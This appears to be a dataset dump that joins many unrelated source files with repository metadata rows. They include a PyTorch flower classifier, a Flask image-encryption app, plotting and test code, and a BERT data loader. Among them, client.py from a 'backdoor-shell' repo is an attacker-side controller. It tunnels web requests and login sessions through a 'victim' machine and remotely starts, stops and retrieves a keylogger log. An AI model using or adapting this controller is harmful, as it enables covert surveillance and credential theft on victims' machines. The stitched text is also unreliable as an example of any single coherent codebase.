# You'll want to use `PIL` to load the image ([documentation](https://pillow.readthedocs.io/en/latest/reference/Image.html)). It's best to write a function that preprocesses the image so it can be used as input for the model. This function should process the images in the same manner used for training.
#
# First, resize the images where the shortest side is 256 pixels, keeping the aspect ratio. This can be done with the [`thumbnail`](http://pillow.readthedocs.io/en/3.1.x/reference/Image.html#PIL.Image.Image.thumbnail) or [`resize`](http://pillow.readthedocs.io/en/3.1.x/reference/Image.html#PIL.Image.Image.thumbnail) methods. Then you'll need to crop out the center 224x224 portion of the image.
#
# Color channels of images are typically encoded as integers 0-255, but the model expected floats 0-1. You'll need to convert the values. It's easiest with a Numpy array, which you can get from a PIL image like so `np_image = np.array(pil_image)`.
#
# As before, the network expects the images to be normalized in a specific way. For the means, it's `[0.485, 0.456, 0.406]` and for the standard deviations `[0.229, 0.224, 0.225]`. You'll want to subtract the means from each color channel, then divide by the standard deviation.
#
# And finally, PyTorch expects the color channel to be the first dimension but it's the third dimension in the PIL image and Numpy array. You can reorder dimensions using [`ndarray.transpose`](https://docs.scipy.org/doc/numpy-1.13.0/reference/generated/numpy.ndarray.transpose.html). The color channel needs to be first and retain the order of the other two dimensions.
# In[33]:
from PIL import Image
def process_image(image):
''' Scales, crops, and normalizes a PIL image for a PyTorch model,
returns an Numpy array
'''
pil_image=Image.open(image)
pil_image=pil_image.resize(size=(256,256))
bottom = (pil_image.height-224)/2
left = (pil_image.width-224)/2
right = left + 224
top= bottom + 224
pil_image = pil_image.crop((left, bottom, right, top))
np_image = np.array(pil_image)/255
mean = np.array([0.485, 0.456, 0.406])
std = np.array([0.229, 0.224, 0.225])
np_image = (np_image - mean) / std
np_image = np_image.transpose((2, 0, 1))
return np_image
# TODO: Process a PIL image for use in a PyTorch model
# To check your work, the function below converts a PyTorch tensor and displays it in the notebook. If your `process_image` function works, running the output through this function should return the original image (except for the cropped out portions).
# In[38]:
import matplotlib.pyplot as plt
import seaborn as sb
def imshow(image, ax=None, title=None):
"""Imshow for Tensor."""
if ax is None:
fig, ax = plt.subplots()
# PyTorch tensors assume the color channel is the first dimension
# but matplotlib assumes is the third dimension
image = image.transpose((1, 2, 0))
# Undo preprocessing
mean = np.array([0.485, 0.456, 0.406])
std = np.array([0.229, 0.224, 0.225])
image = std * image + mean
# Image needs to be clipped between 0 and 1 or it looks like noise when displayed
image = np.clip(image, 0, 1)
ax.imshow(image)
return ax
image = process_image('flowers/test/1/image_06754.jpg')
imshow(image)
# ## Class Prediction
#
# Once you can get images in the correct format, it's time to write a function for making predictions with your model. A common practice is to predict the top 5 or so (usually called top-$K$) most probable classes. You'll want to calculate the class probabilities then find the $K$ largest values.
#
# To get the top $K$ largest values in a tensor use [`x.topk(k)`](http://pytorch.org/docs/master/torch.html#torch.topk). This method returns both the highest `k` probabilities and the indices of those probabilities corresponding to the classes. You need to convert from these indices to the actual class labels using `class_to_idx` which hopefully you added to the model or from an `ImageFolder` you used to load the data ([see here](#Save-the-checkpoint)). Make sure to invert the dictionary so you get a mapping from index to class as well.
#
# Again, this method should take a path to an image and a model checkpoint, then return the probabilities and classes.
#
# ```python
# probs, classes = predict(image_path, model)
# print(probs)
# print(classes)
# > [ 0.01558163 0.01541934 0.01452626 0.01443549 0.01407339]
# > ['70', '3', '45', '62', '55']
# ```
# In[62]:
def predict(image_path, model, topk=5):
''' Predict the class (or classes) of an image using a trained deep learning model.
'''
image=process_image(image_path)
model.to("cuda")
image = torch.from_numpy(image).type(torch.cuda.FloatTensor)
image = image.unsqueeze(0)
output = model.forward(image)
probabilities = torch.exp(output)
top_probabilities, top_indices = probabilities.topk(topk)
top_probabilities = top_probabilities.detach().type(torch.FloatTensor).numpy().tolist()[0]
top_indices = top_indices.detach().type(torch.FloatTensor).numpy().tolist()[0]
idx_to_class = {value: key for key, value in model.class_to_idx.items()}
top_classes = [idx_to_class[index] for index in top_indices]
return top_probabilities, top_classes
# TODO: Implement the code to predict the class from an image file
probs, classes = predict('flowers/test/97/image_07708.jpg', model)
print(probs)
print(classes)
# ## Sanity Checking
#
# Now that you can use a trained model for predictions, check to make sure it makes sense. Even if the testing accuracy is high, it's always good to check that there aren't obvious bugs. Use `matplotlib` to plot the probabilities for the top 5 classes as a bar graph, along with the input image. It should look like this:
#
# <img src='assets/inference_example.png' width=300px>
#
# You can convert from the class integer encoding to actual flower names with the `cat_to_name.json` file (should have been loaded earlier in the notebook). To show a PyTorch tensor as an image, use the `imshow` function defined above.
# In[63]:
# TODO: Display an image along with the top 5 classes
plt.figure(figsize = (6,10))
plot_1 = plt.subplot(2,1,1)
image = process_image('flowers/test/97/image_07708.jpg')
imshow(image, plot_1, title=flower_title);
flower_names = [cat_to_name[i] for i in classes]
plt.subplot(2,1,2)
sb.barplot(x=probs, y=flower_names, color=sb.color_palette()[0]);
plt.show()
# In[ ]:
| 47.020408 | 649 | 0.682335 | 0 | 0 | 339 | 0.014714 | 0 | 0 | 0 | 0 | 14,850 | 0.644531 |
343cb4bccfc6d0d7d27bbb17c80fb0f2a2d1b596 | 1,032 | py | Python | 70_question/linked_list/reverse_linked_list.py | alvinctk/google-tech-dev-guide | 9d7759bea1f44673c2de4f25a94b27368928a59f | [
"Apache-2.0"
] | 26 | 2019-06-07T05:29:47.000Z | 2022-03-19T15:32:27.000Z | 70_question/linked_list/reverse_linked_list.py | alvinctk/google-tech-dev-guide | 9d7759bea1f44673c2de4f25a94b27368928a59f | [
"Apache-2.0"
] | null | null | null | 70_question/linked_list/reverse_linked_list.py | alvinctk/google-tech-dev-guide | 9d7759bea1f44673c2de4f25a94b27368928a59f | [
"Apache-2.0"
] | 6 | 2019-10-10T06:39:28.000Z | 2020-05-12T19:50:55.000Z | class Node:
def __init__(self, value, next):
self.value = value
self.next = next
class LinkedList:
def __init__(self):
self.head = None
def add(self, value):
self.head = Node(value, self.head)
def remove(self):
to_remove = self.head
self.head = self.head.next
to_remove.next = None
def reverse(self):
head = current = self.head
prev = next = None
while current:
next = current.next
current.next = prev
prev = current
current = next
self.head = prev
self.print()
def print(self):
current = self.head
while current:
print(current.value, end=" ")
print("->", end = " ")
if not current.next:
print(current.next, end ="\n")
current = current.next
if __name__ == "__main__":
ll = LinkedList()
for i in range(10, 1, -1):
ll.add(i)
ll.print()
ll.reverse()
| 22.434783 | 46 | 0.50969 | 894 | 0.866279 | 0 | 0 | 0 | 0 | 0 | 0 | 24 | 0.023256 |
343cdbae272af394a0a3d28001cd7765745634b0 | 889 | py | Python | models/notification.py | tranquilitybase-io/tb-houston-service | 9383922ee21fcf64b2b9b32b5662e962428e2a35 | [
"Apache-2.0"
] | 1 | 2020-03-18T22:32:10.000Z | 2020-03-18T22:32:10.000Z | models/notification.py | tranquilitybase-io/tb-houston-service | 9383922ee21fcf64b2b9b32b5662e962428e2a35 | [
"Apache-2.0"
] | 380 | 2020-03-18T12:41:22.000Z | 2021-07-01T14:24:08.000Z | models/notification.py | tranquilitybase-io/tb-houston-service | 9383922ee21fcf64b2b9b32b5662e962428e2a35 | [
"Apache-2.0"
] | 13 | 2020-04-06T06:52:51.000Z | 2021-09-23T23:07:21.000Z | from config import db, ma
class Notification(db.Model):
__tablename__ = "notification"
__table_args__ = {"schema": "eagle_db"}
id = db.Column(db.Integer(), primary_key=True)
isActive = db.Column(db.Boolean())
lastUpdated = db.Column(db.String(20))
toUserId = db.Column(db.Integer(), db.ForeignKey("eagle_db.user.id"))
fromUserId = db.Column(db.Integer, db.ForeignKey("eagle_db.user.id"))
importance = db.Column(db.Integer())
message = db.Column(db.String(255))
isRead = db.Column(db.Boolean())
typeId = db.Column(db.Integer(), db.ForeignKey("eagle_db.notificationType.id"))
def __repr__(self):
return "<Notification(id={self.id!r})>".format(self=self)
class NotificationSchema(ma.SQLAlchemyAutoSchema):
class Meta:
model = Notification
include_fk = True
load_instance = True
| 34.192308 | 84 | 0.656918 | 850 | 0.95613 | 0 | 0 | 0 | 0 | 0 | 0 | 130 | 0.146232 |
343ce4b2d11073a3dfb20805dfb97c66ac9ba361 | 1,266 | py | Python | Pequenos Projetos/Programa_TabelaIdade.py | HenriquePantaroto/Python-Projetos | 8c016294d85c69ff147ebd4cdf6ee76ee1fbe291 | [
"MIT"
] | 2 | 2021-01-06T17:55:57.000Z | 2021-01-11T11:48:56.000Z | Pequenos Projetos/Programa_TabelaIdade.py | HenriquePantaroto/Python-Projetos | 8c016294d85c69ff147ebd4cdf6ee76ee1fbe291 | [
"MIT"
] | null | null | null | Pequenos Projetos/Programa_TabelaIdade.py | HenriquePantaroto/Python-Projetos | 8c016294d85c69ff147ebd4cdf6ee76ee1fbe291 | [
"MIT"
] | null | null | null | lista = []
dicio = {}
idadeTot = 0
cont = 0
contMulher = 0
while True:
dicio['nome'] = str(input('Digite o nome: '))
while True:
dicio['sexo'] = str(input('Digite o sexo: [M/F] ')).upper()[0]
if dicio['sexo'] in 'MF':
break
else:
dicio['sexo'] = str(input('Digite apenas M ou F: ')).upper()[0]
dicio['idade'] = int(input('Digite a idade: '))
if dicio['sexo'] == 'F':
contMulher += 1
cont += 1
idadeTot += dicio['idade']
lista.append(dicio.copy())
oper = str(input('Deseja continuar? [S/N] ')).strip().upper()[0]
if oper not in 'SN':
oper = str(input('Apenas S ou N, deseja continuar? ')).upper()[0]
if oper == 'N':
break
mediaIdade = idadeTot / cont
print('-=' * 30)
print(f'O grupo tem um total de {cont} pessoas.')
print(f'A média de idade do grupo é de {mediaIdade:.2f} anos.')
print(f'A quantidade de mulheres no grupo é de {contMulher}.')
for p in lista:
if p['sexo'] in 'Ff':
print(f'Nome: {p["nome"]}, Idade: {p["idade"]}.')
print('A lista de pessoas que estão acima da média são: ')
for p in lista:
if p['idade'] > mediaIdade:
print(f'Nome: {p["nome"]}, Sexo: {p["sexo"]}, Idade: {p["idade"]}.')
print('-=' * 30)
| 30.878049 | 80 | 0.554502 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 545 | 0.428459 |
343d0b592efe6147a7db17a04887d0d4ffc6ef66 | 2,563 | py | Python | plot_cov.py | translunar/lincov | 12460e2e840129e18c51aa84acbc077df67f28dd | [
"Unlicense"
] | 2 | 2019-12-11T23:56:17.000Z | 2020-09-19T13:44:34.000Z | plot_cov.py | translunar/lincov | 12460e2e840129e18c51aa84acbc077df67f28dd | [
"Unlicense"
] | 1 | 2020-01-24T20:10:57.000Z | 2020-01-24T20:10:57.000Z | plot_cov.py | translunar/lincov | 12460e2e840129e18c51aa84acbc077df67f28dd | [
"Unlicense"
] | null | null | null | #!/usr/bin/env python3
from spiceypy import spiceypy as spice
from lincov.spice_loader import SpiceLoader
import pandas as pd
import numpy as np
from scipy.linalg import norm
from scipy.stats import chi2
import sys
import matplotlib
matplotlib.use('TKAgg')
import matplotlib.pyplot as plt
from matplotlib.patches import Ellipse
from mpl_toolkits.mplot3d import Axes3D, art3d
import lincov.frames as frames
from lincov.plot_utilities import *
from lincov.reader import *
from lincov import LinCov
def plot_lvlh_covariance(label, count = 0, body_id = 399, object_id = -5440, pos_vel_axes = None, snapshot_label = None):
if body_id == 'earth':
body_id = 399
elif body_id == 'moon':
body_id = 301
if pos_vel_axes is None:
pos_axes = None
vel_axes = None
else:
pos_axes, vel_axes = pos_vel_axes
P, time = LinCov.load_covariance(label, count, snapshot_label)
# Get LVLH frame
x_inrtl = spice.spkez(object_id, time, 'J2000', 'NONE', body_id)[0] * 1000.0
T_inrtl_to_lvlh = frames.compute_T_inrtl_to_lvlh( x_inrtl )
# Transform covariance to LVLH frame
P_lvlh = T_inrtl_to_lvlh.dot(P[0:6,0:6]).dot(T_inrtl_to_lvlh.T)
fig1, pos_axes = error_ellipsoid(P_lvlh[0:3,0:3], dof=3, xlabel='downtrack (m)', ylabel='crosstrack (m)', zlabel='radial (m)', label=label, axes = pos_axes)
fig2, vel_axes = error_ellipsoid(P_lvlh[3:6,3:6], dof=3, xlabel='downtrack (m/s)', ylabel='crosstrack (m/s)', zlabel='radial (m/s)', label=label, axes = vel_axes)
if label is not None:
pos_axes[0].legend()
vel_axes[0].legend()
return (fig1, fig2), (pos_axes, vel_axes)
def plot_covariance(P, **kwargs):
fig, axes = error_ellipsoid(P, dof=P.shape[0], **kwargs)
return fig, axes
if __name__ == '__main__':
if len(sys.argv) < 4:
raise SyntaxError("expected run name, index number, body name")
labels = sys.argv[1]
try:
count = int(sys.argv[2])
snapshot_label = None
except ValueError:
count = None
snapshot_label = sys.argv[2]
body = sys.argv[3]
loader = SpiceLoader('spacecraft')
axes = None
for label in labels.split(','):
figs, axes = plot_lvlh_covariance(label,
count = count,
body_id = body,
pos_vel_axes = axes,
snapshot_label = snapshot_label)
plt.show()
| 29.45977 | 166 | 0.623098 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 268 | 0.104565 |
343d87effd06cb338fc8d3c995918a87f6545c84 | 225 | py | Python | nn_redis_config/nn_redis.py | tseth92/NN_grpc_kube_deployment | 51bfa786dd8cbd7780140f0ef0c1eb50fcc94504 | [
"MIT"
] | null | null | null | nn_redis_config/nn_redis.py | tseth92/NN_grpc_kube_deployment | 51bfa786dd8cbd7780140f0ef0c1eb50fcc94504 | [
"MIT"
] | null | null | null | nn_redis_config/nn_redis.py | tseth92/NN_grpc_kube_deployment | 51bfa786dd8cbd7780140f0ef0c1eb50fcc94504 | [
"MIT"
] | null | null | null | import redis
redis_db = redis.StrictRedis(host="nn-sq-svc", port=6379, db=0)
print(redis_db.keys())
redis_db.set('n_samples',100000)
redis_db.set('epochs', 150)
redis_db.set('batch_size', 1000)
redis_db.set('mid_range', 10)
| 25 | 63 | 0.742222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 53 | 0.235556 |
343ef31d47c22d2e366df60d78e0669ed6e27014 | 1,910 | py | Python | unittests/test_plot.py | red5alex/ifm_contrib | 750e7fdf19a6adabcf27ff08608bfa88b04c8775 | [
"MIT"
] | null | null | null | unittests/test_plot.py | red5alex/ifm_contrib | 750e7fdf19a6adabcf27ff08608bfa88b04c8775 | [
"MIT"
] | null | null | null | unittests/test_plot.py | red5alex/ifm_contrib | 750e7fdf19a6adabcf27ff08608bfa88b04c8775 | [
"MIT"
] | 1 | 2018-09-22T13:18:19.000Z | 2018-09-22T13:18:19.000Z | import unittest
import ifm_contrib as ifm
from ifm import Enum
import numpy as np
import geopandas as gpd
import pandas as pd
class TestPlot(unittest.TestCase):
def test_faces(self):
ifm.forceLicense("Viewer")
self.doc = ifm.loadDocument(r".\models\example_2D.dac")
self.doc.c.plot.faces()
def test_edges(self):
ifm.forceLicense("Viewer")
self.doc = ifm.loadDocument(r".\models\example_2D.dac")
self.doc.c.plot.edges()
def test_continuous(self):
ifm.forceLicense("Viewer")
self.doc = ifm.loadDocument(r".\models\example_2D.dac")
self.doc.c.plot.continuous(par=Enum.P_HEAD)
def test_patches(self):
ifm.forceLicense("Viewer")
self.doc = ifm.loadDocument(r".\models\example_2D_unconf.fem") # pure triangle mesh
self.doc.c.plot._contours(par=Enum.P_COND, style="patches")
self.doc.c.plot.patches(par=Enum.P_COND)
def test_fringes(self):
ifm.forceLicense("Viewer")
self.doc = ifm.loadDocument(r".\models\example_2D.dac")
self.doc.c.plot.fringes(par=Enum.P_HEAD, alpha=1, cmap="feflow_blue_green_red")
def test_isolines(self):
ifm.forceLicense("Viewer")
self.doc = ifm.loadDocument(r".\models\example_2D.dac")
self.doc.c.plot.isolines(par=Enum.P_HEAD, colors="black")
def test_obs_markers(self):
ifm.forceLicense("Viewer")
self.doc = ifm.loadDocument(r".\models\example_2D.dac")
self.doc.c.plot.obs_markers()
self.doc.c.plot.obs_markers(filter_by={"label": ["myObsPoint1", "myObsPoint2"]})
def test_obs_labels(self):
ifm.forceLicense("Viewer")
self.doc = ifm.loadDocument(r".\models\example_2D.dac")
self.doc.c.plot.obs_labels()
self.doc.c.plot.obs_labels(filter_by={"label": ["myObsPoint1", "myObsPoint2"]})
if __name__ == '__main__':
unittest.main()
| 34.107143 | 92 | 0.662304 | 1,733 | 0.90733 | 0 | 0 | 0 | 0 | 0 | 0 | 414 | 0.216754 |
34407ff51a7436c54d71af05b2afac72b8892085 | 2,978 | py | Python | client.py | ashu20071/backdoor-shell | 4554875fee0d7f6e0063ef10fc920b1d577aced7 | [
"MIT"
] | null | null | null | client.py | ashu20071/backdoor-shell | 4554875fee0d7f6e0063ef10fc920b1d577aced7 | [
"MIT"
] | null | null | null | client.py | ashu20071/backdoor-shell | 4554875fee0d7f6e0063ef10fc920b1d577aced7 | [
"MIT"
] | null | null | null | #!/usr/bin/python3
import requests;
import json;
import os;
import threading;
from sys import argv;
import time;
''' GLOBAL VARS '''
VICTIM = ["127.0.0.1",1337]; # (<ip_address>, <port_no.>)
''' FUNCTIONS '''
def menu():
choices = ["tunnel", "keylogger", "quit"];
print(" :: MENU ::");
print(" - tunnel");
print(" - keylogger");
print(" - quit");
while True:
inp = input("-> ").lstrip(" ").rstrip(" ");
if inp in choices:
return(inp);
'''
payload format:
'''
def send(action,**params): # send(action [, sub_action=<>, extras=<>])
params["action"]=action;
payload = json.dumps(params);
vic_url = "http://"+VICTIM[0]+":"+str(VICTIM[1])+"";
resp = requests.get(vic_url,data=payload);
return(resp.content);
def tunnel():
print(":: Tunnel ::");
print("1 - get");
print("2 - post");
print("3 - session");
print("4 - login session");
sub_action = int(input("-> "));
param_dict = dict();
if sub_action == 4:
param_string = input("Parameters as comma-separated <name_of_field>:<value> -> ");
param_list = param_string.split(",");
for p in param_list:
key,val = p.split(":");
param_dict[key]=val;
sub_action="login session";
elif sub_action == 1:
sub_action="get";
elif sub_action == 2:
sub_action == "post";
elif sub_action == 3:
sub_action == "session";
url = input("[address] -> ");
print("Fetching....");
start_time = time.time();
bin_resp=None;
if sub_action != "login session":
bin_resp = send("tunnel",value=url,sub_action=sub_action);
else:
bin_resp = send("tunnel",value=url,sub_action=sub_action,extras=param_dict);
fetch_time = time.time() - start_time;
print("Got response [in "+str(fetch_time)+" seconds]! Saving to op.html");
op_file = open("op.html","wb");
op_file.write(bin_resp);
op_file.close();
choice = input("Open Site? [y/n] : ");
if choice == "y" or choice == "Y":
threading.Thread(target=os.system("xdg-open op.html 1> /dev/null"));
return;
def keylogger():
print(":: Keylogger ::");
print("1 - Start keylogger");
print("2 - Stop Keylogger (do this first if you want to fetch the log file)");
print("3 - Get log file");
sub_action = int(input("-> "));
if sub_action == 1:
sub_action = "start";
elif sub_action == 2:
sub_action = "stop";
elif sub_action == 3:
sub_action = "get";
resp = send("keylogger",sub_action=sub_action);
if sub_action == "get":
print("Fetched log file, saving to log.txt");
f = open("log.txt","wb");
f.write(resp);
f.close();
return;
def get_target():
while True:
ip = input("Victim Address -> ");
if len(ip.split(".")) == 4:
return(ip);
''' MAIN '''
if __name__ == "__main__":
print("Starting attacker-side program....");
run_flag = True;
if len(argv) >= 2:
VICTIM[0]=argv[1];
else:
VICTIM[0] = get_target();
while run_flag == True:
choice = menu();
if choice == "tunnel":
tunnel();
if choice == "keylogger":
keylogger();
elif choice == "quit":
run_flag = False;
print("\n\n");
| 23.634921 | 84 | 0.6182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 942 | 0.31632 |
344205ea38acaaf0d381e72dbd1e7ae6ae7ff1df | 4,435 | py | Python | app.py | WiIIiamTang/logistic-map-encryption | b323c76a25cde1a7663887db35c0de393edfdfcc | [
"MIT"
] | null | null | null | app.py | WiIIiamTang/logistic-map-encryption | b323c76a25cde1a7663887db35c0de393edfdfcc | [
"MIT"
] | null | null | null | app.py | WiIIiamTang/logistic-map-encryption | b323c76a25cde1a7663887db35c0de393edfdfcc | [
"MIT"
] | null | null | null | import os
import uuid
from werkzeug.utils import secure_filename
from pathlib import Path
import random
from flask import Flask, flash, request, redirect, url_for, render_template, jsonify
from flask_cors import CORS, cross_origin
import chaosencryptor.src.models
from PIL import Image
import json
DEBUG = False
dirp = Path(__file__).parents[0]
template_folder = os.path.join(dirp, 'templates')
static_folder = os.path.join(template_folder, 'static')
media_folder = os.path.join(static_folder)
media_base_url = '/static'
app = Flask(__name__, template_folder=template_folder, static_folder=static_folder)
cors = CORS(app)
# media folder should be in static
app.config['UPLOAD_FOLDER'] = media_folder
app.config['MAX_CONTENT_LENGTH'] = 16*1024*1024 # 16MB
app.config['NEXT_IMAGE_ID'] = 1
app.config['store'] = {'images': {}, 'current_upimg': None}
IMAGE_EXTENSIONS = set(['png'])
def verify_image_extension(s):
return '.' in s and s.rsplit('.',1)[1].lower() in IMAGE_EXTENSIONS
@app.route('/')
def main():
return render_template('index.html')
@app.route('/upimg', methods=['POST'])
def upimg():
result = {'uploaded': False}
form_input_name = 'file'
if form_input_name not in request.files:
result['message'] = 'No file found'
return result, 404
file = request.files[form_input_name]
if not file or not file.filename:
result['message'] = 'No filename selected'
return result, 404
if not verify_image_extension(file.filename):
result['message'] = 'File extension not allowed'
return result, 415
# Success
ext = file.filename.rsplit('.',1)[1].lower()
new_filename = f'{app.config["NEXT_IMAGE_ID"]}_{secure_filename(str(uuid.uuid4()))}.{ext}'
img_path = os.path.join(app.config['UPLOAD_FOLDER'], new_filename)
app.config['store']['images'][app.config['NEXT_IMAGE_ID']] = {
'_name': new_filename,
'url': f'{media_base_url}/{new_filename}'
}
result['message'] = 'Image uploaded'
result['id'] = app.config['NEXT_IMAGE_ID']
result['url'] = f'{media_base_url}/{new_filename}'
result['uploaded'] = True
app.config['NEXT_IMAGE_ID'] += 1
file.save(img_path)
app.config['store']['current_upimg'] = img_path
#print(app.config['store']['current_upimg'])
return result, 200
@app.route('/encrypt', methods=['GET'])
def encrypt():
model = request.args.get('model')
encrypter = getattr(chaosencryptor.src.models, model)()
im = Image.open(app.config['store']['current_upimg'])
name = im.filename
im = im.convert('RGB')
image, key = encrypter.encrypt(image=im, name=name)
img_path = f'{name.rsplit(".", 1)[0]}_encrypted{random.randint(0, 99999)}.png'
image.save(img_path)
app.config['store']['current_encryptimg'] = img_path
result = {
'message': 'Image encrypted',
'key': json.dumps(key),
'url': f'{media_base_url}/{os.path.basename(img_path)}'
}
return result, 200
@app.route('/decrypt', methods=['POST'])
def decrypt():
result = {'uploaded': False}
keystring = request.form.get('keystring')
model = request.form.get('model')
if not keystring:
result['message'] = 'No key provided'
return result, 404
# Success
# open the current uploaded image
im = Image.open(app.config['store']['current_upimg'])
name = im.filename
im = im.convert('RGB')
# load the json string
key = json.loads(keystring.replace('\\', ''))
decrypter = getattr(chaosencryptor.src.models, model)()
image = decrypter.decrypt(image=im, key=key)
img_path = f'{name.rsplit(".", 1)[0]}_decrypted{random.randint(0, 99999)}.png'
image.save(img_path)
app.config['store']['current_decryptimg'] = img_path
result = {
'message': 'Image decrypted',
'url': f'{media_base_url}/{os.path.basename(img_path)}'
}
return result, 200
if DEBUG:
@app.route('/images', methods=['GET'])
def images():
return app.config['store']['images'], 200
@app.route('/images/<int:id>', methods=['GET'])
def images_id(id):
if app.config['store']['images'].get(id):
return app.config['store']['images'][id], 200
else:
return {'message': 'Did not find image'}, 404
if __name__ == '__main__':
if DEBUG:
app.run(debug=True, use_reloader=True)
else:
app.run()
| 28.798701 | 94 | 0.64938 | 0 | 0 | 0 | 0 | 3,302 | 0.744532 | 0 | 0 | 1,336 | 0.30124 |
3442e1c11024fc9efc57990cff859cf751f64fe7 | 396 | py | Python | rest_framework_push_notifications/serializers.py | incuna/rest-framework-push-notifications | e57f06db45754af9e0b50159b8f12104222b2f68 | [
"BSD-2-Clause"
] | 1 | 2021-09-18T08:13:11.000Z | 2021-09-18T08:13:11.000Z | rest_framework_push_notifications/serializers.py | incuna/rest-framework-push-notifications | e57f06db45754af9e0b50159b8f12104222b2f68 | [
"BSD-2-Clause"
] | 7 | 2015-06-22T11:39:45.000Z | 2021-06-10T17:46:53.000Z | rest_framework_push_notifications/serializers.py | incuna/rest-framework-push-notifications | e57f06db45754af9e0b50159b8f12104222b2f68 | [
"BSD-2-Clause"
] | null | null | null | from push_notifications import models
from rest_framework.serializers import HyperlinkedModelSerializer
class APNSDevice(HyperlinkedModelSerializer):
class Meta:
fields = ('url', 'registration_id', 'name', 'device_id', 'active')
model = models.APNSDevice
class APNSDeviceUpdate(APNSDevice):
class Meta(APNSDevice.Meta):
read_only_fields = ('registration_id',)
| 28.285714 | 74 | 0.742424 | 286 | 0.722222 | 0 | 0 | 0 | 0 | 0 | 0 | 64 | 0.161616 |
3444a8319c7228a4e4f05ad69676ae8d14fa03cb | 271 | py | Python | galleries/admin.py | Ingabineza12/gallery-app | 5c28558203d68dd582b77df408cf6f21ccc01100 | [
"Unlicense"
] | 1 | 2021-08-02T01:29:38.000Z | 2021-08-02T01:29:38.000Z | galleries/admin.py | Ingabineza12/gallery-app | 5c28558203d68dd582b77df408cf6f21ccc01100 | [
"Unlicense"
] | null | null | null | galleries/admin.py | Ingabineza12/gallery-app | 5c28558203d68dd582b77df408cf6f21ccc01100 | [
"Unlicense"
] | null | null | null | from django.contrib import admin
# Register your models here.
from .models import Photographer,Location,Image,Category
# Register your models here.
admin.site.register(Photographer)
admin.site.register(Location)
admin.site.register(Image)
admin.site.register(Category)
| 24.636364 | 56 | 0.819188 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 56 | 0.206642 |
3445518d519b291bcc71a0a8b94567bddb6ff6c0 | 15,358 | py | Python | utils/prepare.py | Mehrad0711/HUBERT | 2f13fd2f7f5a2ec13544f4007158b582ae7408c3 | [
"MIT"
] | 3 | 2021-05-22T08:25:17.000Z | 2021-11-11T03:23:35.000Z | utils/prepare.py | Mehrad0711/HUBERT | 2f13fd2f7f5a2ec13544f4007158b582ae7408c3 | [
"MIT"
] | null | null | null | utils/prepare.py | Mehrad0711/HUBERT | 2f13fd2f7f5a2ec13544f4007158b582ae7408c3 | [
"MIT"
] | null | null | null | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import torch
import os
from modules.model import BertForSequenceClassification_tpr
from utils.data_utils import convert_examples_to_features, logger
from transformers.file_utils import PYTORCH_PRETRAINED_BERT_CACHE
from transformers.modeling_bert import BertModel
from transformers.optimization import AdamW, WarmupLinearSchedule
from torch.optim import SGD
from torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler
from torch.utils.data.distributed import DistributedSampler
def prepare_data_loader(args, processor, label_list, task_type, task, tokenizer, split, examples=None, single_sentence=False,
return_pos_tags=False, return_ner_tags=False, return_dep_parse=False, return_const_parse=False):
data_dir = os.path.join(args.data_dir, task)
if examples is None:
if split == 'train':
examples = processor.get_train_examples(data_dir)
if split == 'dev':
examples = processor.get_dev_examples(data_dir)
if split == 'test':
examples = processor.get_test_examples(data_dir)
features, structure_features = convert_examples_to_features(examples, label_list, args.max_seq_length, tokenizer, single_sentence,
return_pos_tags, return_ner_tags, return_dep_parse, return_const_parse)
all_tokens, token_pos, token_ner, token_dep, token_const = structure_features
logger.info("***** preparing data *****")
logger.info(" Num examples = %d", len(examples))
batch_size = args.train_batch_size if split == 'train' else args.eval_batch_size
logger.info(" Batch size = %d", batch_size)
all_input_ids = torch.tensor([f.input_ids for f in features], dtype=torch.long)
all_input_mask = torch.tensor([f.input_mask for f in features], dtype=torch.uint8)
all_segment_ids = torch.tensor([f.segment_ids for f in features], dtype=torch.long)
all_sub_word_masks = torch.tensor([f.sub_word_masks for f in features], dtype=torch.uint8)
all_orig_to_token_maps = torch.tensor([f.orig_to_token_map for f in features], dtype=torch.long)
if split == 'test':
if task.lower() == 'snli':
all_label_ids = torch.tensor([f.label_id for f in features], dtype=torch.long)
data = TensorDataset(all_input_ids, all_input_mask, all_segment_ids, all_sub_word_masks, all_orig_to_token_maps, all_label_ids)
else:
data = TensorDataset(all_input_ids, all_input_mask, all_segment_ids, all_sub_word_masks, all_orig_to_token_maps)
else:
if task_type != 1:
all_label_ids = torch.tensor([f.label_id for f in features], dtype=torch.long)
else:
all_label_ids = torch.tensor([f.label_id for f in features], dtype=torch.float32)
data = TensorDataset(all_input_ids, all_input_mask, all_segment_ids, all_sub_word_masks, all_orig_to_token_maps, all_label_ids)
if split == 'train' and not args.save_tpr_attentions:
if args.local_rank == -1:
sampler = RandomSampler(data)
else:
sampler = DistributedSampler(data)
else:
sampler = SequentialSampler(data)
all_guids = [f.guid for f in features]
dataloader = DataLoader(data, sampler=sampler, batch_size=batch_size)
return dataloader, all_guids, structure_features
def prepare_optim(args, num_train_steps, param_optimizer):
no_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']
optimizer_grouped_parameters = [
{'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay': 0.01},
{'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay': 0.0}
]
t_total = num_train_steps
scheduler = None
if args.local_rank != -1:
t_total = t_total // torch.distributed.get_world_size()
if args.fp16:
try:
from apex.optimizers import FP16_Optimizer
from apex.optimizers import FusedAdam
except ImportError:
raise ImportError(
"Please install apex from https://www.github.com/nvidia/apex to use distributed and fp16 training.")
optimizer = FusedAdam(optimizer_grouped_parameters,
lr=args.learning_rate,
bias_correction=False,
max_grad_norm=1.0)
if args.loss_scale == 0:
optimizer = FP16_Optimizer(optimizer, dynamic_loss_scale=True)
else:
optimizer = FP16_Optimizer(optimizer, static_loss_scale=args.loss_scale)
else:
if args.optimizer == 'adam':
optimizer = AdamW(optimizer_grouped_parameters,
lr=args.learning_rate,
correct_bias=False)
scheduler = WarmupLinearSchedule(optimizer, warmup_steps=args.warmup_proportion * t_total, t_total=t_total)
# elif args.optimizer == 'radam':
# optimizer = RAdam(optimizer_grouped_parameters,
# lr=args.learning_rate)
elif args.optimizer == 'sgd':
optimizer = SGD(optimizer_grouped_parameters,
lr=args.learning_rate)
return optimizer, scheduler, t_total
